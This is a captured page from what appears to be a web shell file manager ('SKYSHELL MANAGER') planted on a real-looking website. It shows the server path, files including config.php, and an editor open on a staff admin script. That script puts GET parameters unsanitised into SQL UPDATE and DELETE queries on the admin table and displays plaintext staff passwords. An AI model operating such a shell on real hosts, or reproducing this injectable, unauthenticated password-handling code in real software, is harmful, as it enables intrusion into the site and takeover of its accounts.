📁
SKYSHELL MANAGER-
🛒
PHP v7.4.33
Create Folder
Create File
Current Path:
home
/
oshofree
/
public_html
/
chbluxuries.com
/
chb_data
/
Name
Size
Permissions
Actions
📁
..
-
0755
🗑️
🔒
📄
config.php
7.06 KB
0444
🗑️
⬇️
✏️
🔒
📄
error_log
11621.06 KB
0644
🗑️
⬇️
✏️
🔒
Editing: staff.php
<?php include "header.php"; ?> <div id="layoutSidenav_content"> <main> <div class="container-fluid px-4"> <h1 class="mt-4">Staff Section</h1> <ol class="breadcrumb mb-4"> <li class="breadcrumb-item active">View and Edit Staff Details</li> </ol> <div class="row"> <div class="col-xl-12 col-md-12"> <p><center> <?php include "connect_to_mysqli.php"; $userr = $_GET['pass']; $daid = $_GET['idn']; $sub = $_GET['submit']; if($sub=='Delete') { $del = mysqli_query($con,"DELETE from admin where s ='$daid' ") or die ('Could not connect: ' .mysqli_error($con)); } else { $insert = mysqli_query($con,"UPDATE admin SET password= '$userr' where s='$daid'") or die ('Could not connect: ' .mysqli_error($con)); } echo'Action Successful!'; ?> </center></p> <div class="card-body pb-0"> <h5 class="card-title">All Staff<span>| View</span></h5> <table class="table table-borderless"> <thead> <tr> <th scope="col">Username</th> <th scope="col">Email</th> <th scope="col">Password</th> <th scope="col"></th> </tr> </thead> <tbody> <?php //get the all unreviewed product $sqk = "SELECT all* from admin where status='staff' ORDER BY s"; $sqlp = mysqli_query($con,$sqk); while($rowe = mysqli_fetch_array($sqlp)) { $tit = $rowe['user']; $neme = $rowe['email']; $pri = $rowe['pass']; echo ' <tr> <td><span class="text-primary fw-bold">'.$tit.'</span></td> <td>'.$neme.'</td> <td><form method="get"><input type="text" name="pass" value="' . $rowe['password'] . '" required> <input type="text" class="form-control" value="'.$rowe['s'].'" name="idn" hidden/> <input type="submit" name="submit" class="submitn" value="Update" ></td> <td> <button type="submit" class="btn-primary" value="Delete" name="submit"> Delete Staff</button></form></td> </tr>'; } ?> </tbody> </table> </div><!-- End Top Selling --> </div></div> </div> </main> <?php include "footer.php"; ?>
💾 Save Changes